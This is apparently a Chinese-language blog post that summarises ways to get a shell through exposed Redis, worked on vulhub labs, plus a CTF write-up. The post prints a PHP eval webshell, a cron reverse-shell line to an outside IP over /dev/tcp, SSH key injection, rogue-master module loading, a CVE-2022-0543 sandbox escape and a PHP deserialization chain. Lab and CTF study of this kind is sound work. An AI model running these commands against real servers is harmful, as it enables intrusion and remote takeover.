Redis-getshell总结

Redisgetshell总结

redis介绍

Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API

大概理解就是是一个内存存储于硬盘的数据库,且存在很多漏洞

Linux下安装配置Redis

首先现在安装压缩包:

wget http://download.redis.io/releases/redis-5.0.7.tar.gz

解压至当前目录

tar -zvxf redis-5.0.7.tar.gz

一般redis都配置在/usr/local/redis目录下,移动文件

mv redis-5.0.7 /usr/local/redis

cd 进入对应目录,进行编译

make

安装:

make PREFIX=/usr/local/redis install

这里多了一个关键字 PREFIX= 这个关键字的作用是编译的时候用于指定程序存放的路径。比如我们现在就是指定了redis必须存放在/usr/local/redis目录。假设不添加该关键字Linux会将可执行文件存放在/usr/local/bin目录,

库文件会存放在/usr/local/lib目录。配置文件会存放在/usr/local/etc目录。其他的资源文件会存放在usr/local/share目录。这里指定号目录也方便后续的卸载,后续直接rm -rf /usr/local/redis 即可删除redis。

配置相关文件

修改内容如下:

#bind 127.0.0.1  //注释这条
protected-mode no    //非保护模式
daemonize yes    //进程守护,后台运行

关于配置文件详细的修改说明:https://www.cnblogs.com/hello-/articles/9647434.html

启动redis:

redis-server /etc/redis.conf  //以redis.conf配置文件内容启动redis服务
redis-cli     //另开一窗口,测试连接本地
exit   //测试完毕后退出

启动成功示例

本地redis-cli连接成功

攻击机也可直接使用redis-cli 直接进行连接(未授权访问)

(也可以直接使用vulhub靶场里的/redis/4-unacc环境docker-compose up -d一键配置)

redis 指令

redis-server /etc/redis.conf              #以etc目录下的配置文件启动redis
redis-cli -h host                        # 免密登录
redis-cli -h host -p port -a password   # 使用 Redis 密码登录 Redis 服务
# 与 Redis 服务连接成功后,执行 PING 命令,如果服务器运作正常的话,会返回一个 PONG
redis-cli shutdown                     #关闭服务

redis语法

查看信息:info
删除所有数据库內容:flushable
刷新数据库:flush
看所有键:KEYS *,使用 select nun可以查看键值数据
设置变量:set name parar
config set dir dirpath设置路径等配置
config get dir/filename获取路径及数据配置信息
save 用于创建当前数据库的备份,将执行一个同步保存操作,将当前 Redis 实例的所有数据快照(snapshot)以默认 RDB 文件的形式保存到硬盘  (此命令将在 redis 安装目录下创建一个 dump.rdb文件)
get变量,查看变量名称

未授权访问写webshell

https://blog.csdn.net/weixin_45605352/article/details/118790775

攻击条件:

靶机Redis连接未授权,在攻击机上能用redis-cli连上(满足上面配置时的三个条件)

开了web服务器,并且知道路径(如利用phpinfo,错误爆路经,config get dir ),还需要具有文件读写增删改查权限(我们可以将dir设置为一个目录A,而dbfilename为文件名B,再执行save或bgsave,则我们就可以写入一个路径为/A/B的任意文件。)

由于之前利用自己搭建的redis进行写webshell时被腾讯云警告,这里使用vulhub靶场进行演示,但是该靶场没有开启Apache服务,无法蚁剑连接,只能演示写文件操作

首先进入vulhub/redis/4-unacc目录启动容器:docker-compose up -d

启动成功后本地即可redis-cli连接,执行piing会返回一个pong即成功,然后即可使用kali进行未授权访问连接如图则连接成功

这里就在tmp目录下写一个马子

指令:

#设置要写入的目录
    config set dir /tmp
    一般若有直接写文件权限,可写在网页服务开启的目录下方便     连接,比如var/www/html
#设置写入的文件名
    config set dbfilename shell.php
#写马
    set a "nnn<?php @eval($_GET[cmd])?>nnn"
    由于在redis在写入时,会自带一些版本信息,为避免不影响     我们写入的马子,前后使用n进行分隔

如图所示执行成功,按照图片指示进入docker容器内查看写入的文件

这里也验证了为什么在马子前后要使用\n

定时任务反弹shell

将命令写入定时任务中,操作方式与直接写shell方式一致

config set dir /var/spool/cron/ config 
set dbfilename rootset xxx "nn*/1 * * * * /bin/bash -i>&/dev/tcp/175.178.29.101/6666 0>&1nn"
save

在vps上监听端口大概一分钟左右反弹回来

写 ssh-keygen 公钥登录服务器

原理:
登陆linux有几种方式,最常用的是密码登陆和RSA key 登陆,RSA key登陆是生成一个公私对应的秘钥,然后将公钥放到linux系统的/root/.ssh/authorized_keys的文件中,我们本地客户端通过导入对应私钥进行登陆,这就是RSA key的登陆方式。
但是为什么redis可以获取服务器的root权限呢?
上面RSA key的登陆方式在服务器方面是要将公钥写入authorized_keys文件中的,而redis有一种持久化方式是生成RDB文件,通过持久化将公钥写入root下的authored_keys文件里,这样就将非法的公钥写到了验证文件里,后面我们拿对应私钥登陆即可。(但是这种方式需要再redis是root启动的情况下使用,因为非root权限无法进入/root目录)

Redis 存在未授权访问的情况下,开启了 ssh 服务,在数据库中插入一条数据,将本机的公钥作为 value,key 值随意,然后可以通过修改数据库的保存路径为 /root/.ssh 和保存文件名为 authorized.keys ,备份数据库之后就可以在服务器端的 /root/.ssh 下生成一个key。

首先在容器内开启ssh服务

# 安装 openssh 服务
    sudo apt-get install openssh-server
# 启动 ssh 服务
    sudo /etc/init.d/ssh start
# 配置 root 用户连接权限
    sudo  vim /etc/ssh/sshd_config
    PermitRootLogin yes
# 设置允许通过免密登录
    AuthorizedKeysFile    .ssh/authorized_keys .ssh/authorized_keys2
# 重启 ssh 服务
    sudo /etc/init.d/ssh restart

在kali上生成ssh公钥

cd /root/.ssh

查看生成的公钥

后续步骤与写shell步骤一致,将公钥写入/root/.ssh目录下

#检查当前保存路径
    config get dir 
#检查保存文件名
    config get dbfilename  
#设置保存路径    
    config set dir /root/.ssh/         
#设置保存文件名
    config set dbfilename authorized_keys 
#将公钥写入g1ts健
    set a "nnn 公钥 nnn"      
 #进行保存
    save                               

写入成功即可进行无密码连接

ssh -i /root/.ssh/id_rsa [email protected]

(vulhub这个靶场环境没有进行配置ssh服务,若直接在vps上写会触发腾讯的安全警告,这里没有复现成功)

主从复制getshell

主从模式为使用两台redis,一台为主机,一台为从机;一台负责读,一台负责写,主机和从机的数据是一模一样的,使用主从模式的原因是redis是一个典型的Key-Value对应的数据库,redis中数据处理都是在内存中进行操作的,然后定期将数据存储到磁盘上,那么如果数据量过于庞大,就会对服务端造成比较大的负担,使用主从模式的读写分离可以缓解服务器上的流量压力,算是一种通过牺牲空间来换取效率的缓解方式。

主从复制是指将一台Redis主服务器的数据,复制到其他的Redis从服务器。前者称为主节点(master),后者称为从节点(slave);

主服务器可以进行读写操作,当发生写操作时自动将写操作同步给从服务器,而从服务器一般是只读,并接受主服务器同步过来写操作命令,然后执行这条命令。
从网上抄的一张图能够详细理解其中原理和工作模式

漏洞原理:

Redis 版本(4.x~5.0.5)(新增模块功能module load,可以通过C语言并编译出恶意.so文件)

利用条件:

Redis 版本(4.x~5.0.5)

使用root权限启动redis

需要使用的两个工具

无密码,可以未授权访问:RedisModules-ExecuteCommand:github

​ 或者:redis-rce:github

有密码: Awsome-Redis-Rogue-Server:github

使用工具可以一键导入任意模块达到命令执行

./redis-master.py -r 目标机IP -p 6379 -L 攻击机IP -P 8989 -f RedisModulesSDK/exp/exp.so -c "whoami"

或者手动设置

python3 redis_rogue_server.py -v -path exp.so -lport 6666

首先开启监听端口模拟redis服务,靶机执行相关命令

#设置redis的备份路径
    config set dir ./

#设置备份文件名为exp.so,默认为dump.rdb
    config set dbfilename exp.so
#设置主服务器IP和端口
    slaveof 175.178.29.101 6666
    这一步执行成功后vps上应该在不断刷新数据
#从主服务器上加载恶意模块
    module load ./exp.so
#切断主从,关闭复制功能
    slaveof no one 
    这一步执行成功后vps数据停止更新

然后在靶机端即可达到命令执行

执行命令模块:system.exec 'whoami'即可执行whoami

CVE-2022-0543(redis沙盒逃逸)

在vulhub靶场上redis目录下发现了这个关于redis的CVE,poc挺简单的,但是具体实现原理还没有弄清楚

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

poc中的io.popen中的id即可写改为任意自己想要执行的代码

主从复制例题2023春秋杯冬季赛ezezez_php

题目进去是一个php反序列化

题目源码:

<?php
highlight_file(__FILE__);
include "function.php";
class Rd
{
    public $ending;
    public $cl;

    public $poc;

    public function __destruct()
    {
        echo "All matters have concluded"."</br>";
    }

    public function __call($name, $arg)
    {
        foreach ($arg as $key => $value) {

            if ($arg[0]['POC'] == "0.o") {
                $this->cl->var1 = "get";
            }
        }
    }
}

class Poc
{
    public $payload;

    public $fun;

    public function __set($name, $value)
    {
        $this->payload = $name;
        $this->fun = $value;
    }

    function getflag($paylaod)
    {
        echo "Have you genuinely accomplished what you set out to do?"."</br>";
        file_get_contents($paylaod);
    }
}

class Er
{
    public $symbol;
    public $Flag;

    public function __construct()
    {
        $this->symbol = True;
    }

    public function __set($name, $value)
    {   
        if (preg_match('/^(http|https|gopher|dict)?://.*(/)?.*$/',base64_decode($this->Flag))){
               $value($this->Flag);
        }
    else {
    echo "NoNoNo,please you can look hint.php"."</br>";
    }
    }

}

class Ha
{
    public $start;
    public $start1;
    public $start2;

    public function __construct()
    {
        echo $this->start1 . "__construct" . "</br>";
    }

    public function __destruct()
    {
        if ($this->start2 === "o.0") {
            $this->start1->Love($this->start);
            echo "You are Good!"."</br>";
        }
    }
}

function get($url) {
    $url=base64_decode($url);
    var_dump($url);
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    $output = curl_exec($ch);
    $result_info = curl_getinfo($ch);
    var_dump($result_info);
    curl_close($ch);
    var_dump($output);
}

if (isset($_POST['pop'])) {
    $a = unserialize($_POST['pop']);
} else {
    die("You are Silly goose!");
}

?>

打通链子直接用的瓜哥的poc

$a=new Ha();
$a->start2='o.0';
$a->start1=new Rd();
$a->start=array('POC'=>'0.o');
$a->start1->cl=new Er();
$a->start1->cl->Flag=base64_encode('dict://127.0.0.1:80');

echo serialize($a);

这里题目中提示了在redis服务中的flag才是真正的flag

这里好像不能用gopher协议,用gopher协议进6379会504超时,也就没法直接用gopherus,只能使用dict协议去做一个命令执行

首先将payload改为,探测一下redis服务

dict://127.0.0.1:6379/info

能够直接查到redis的一些配置信息信息

这里之后尝试了一下直接写webshell,首先看了一下路径

dict://127.0.0.1:6379/config get dir

找到路径就是var/www/html页面

写shell的时候一切正常,但是最后保存时出现报错,没有在该目录下进行修改的权限,后来问了一下学长只能在/tmp目录下进行读写,但是这里就算读写后也无法进行访问链接,后来还尝试了直接弹shell,写公钥,都无法成功

最后尝试了主从复制

在info信息中看到当前redis版本为5.0.14

在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令(module),通过写C语言编译并加载恶意的.so文件,达到代码执行的目的。

  1. 恶意文件生成

    使用工具RedisModules-ExecuteCommand:github

    在vps下载完成后进入目录进行make编译(这里vps下载失败,可以下到本地再ftp传上去)

    这个恶意文件中包含了可以 命令执行的相关模块(exp.so)

  2. rce工具执行

    使用工具Awsome-Redis-Rogue-Server:github

    将第一步生成的恶意文件复制一份到该工具目录下

    执行工具命令

    python3 redis_rogue_server.py -v -path exp.so -lport 6666

    执行该命令后会在vps上监听对应端口(这里即6666端口),这里的监听实际上是模仿了一个redis服务

  1. 在题目端执行相关命令
    #设置redis的路径为/tmp
       config set dir /tmp
       这道题目中一定是tmp目录,否则后续命令执行模块无法加载成功
    #设置备份文件名为exp.so,默认为dump.rdb
       config set dbfilename exp.so
    #设置主服务器IP和端口
       slaveof 175.178.29.101 6666
       这一步执行成功后vps上应该在不断刷新数据
    #从主服务器上加载恶意模块
       module load ./exp.so
    #切断主从,关闭复制功能
       slaveof no one 
       这一步执行成功后vps数据停止更新

    这里每一句命令执行后需要在返回界面中看见两个OK才带边命令执行成,若第一步路径设置错误,在加载命令执行模块后就只有一个OK,未能成功加载

  2. 命令执行

    当题目端从vps上加载完成恶意文件后,即可rce

    执行命令

    system.exec 'whoami'

    (这里需要把反序列打的链子中包裹这项命令的引号改为双引号)

    命令成功执行,但是后续并没有找到flag,问了学长知道flag藏在环境变量😢

    执行命令

    system.exec 'env'

    即可找到flag

评论

  1. Starven
    8 月前
    2024-1-21 14:57:55

    写的好!!!

  2. Jerry
    已编辑
    8 月前
    2024-1-21 16:15:23

    Gopher504是正常的,他本身是相当于一个端口数据流转发,后跟TCP的一个数据流量,如果没有任何数据的话会一直转圈,服务器中间件在编码一次,后端PHPfpm也再编码一次,两次url编码就可以了

    • 博主
      Jerry
      8 月前
      2024-1-25 17:38:14

      感谢大佬指点!!!

  3. bingfeng
    8 月前
    2024-1-21 16:18:27

    god!!

  4. lhRaMk7
    8 月前
    2024-1-21 16:19:56

    写的太牛逼了

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇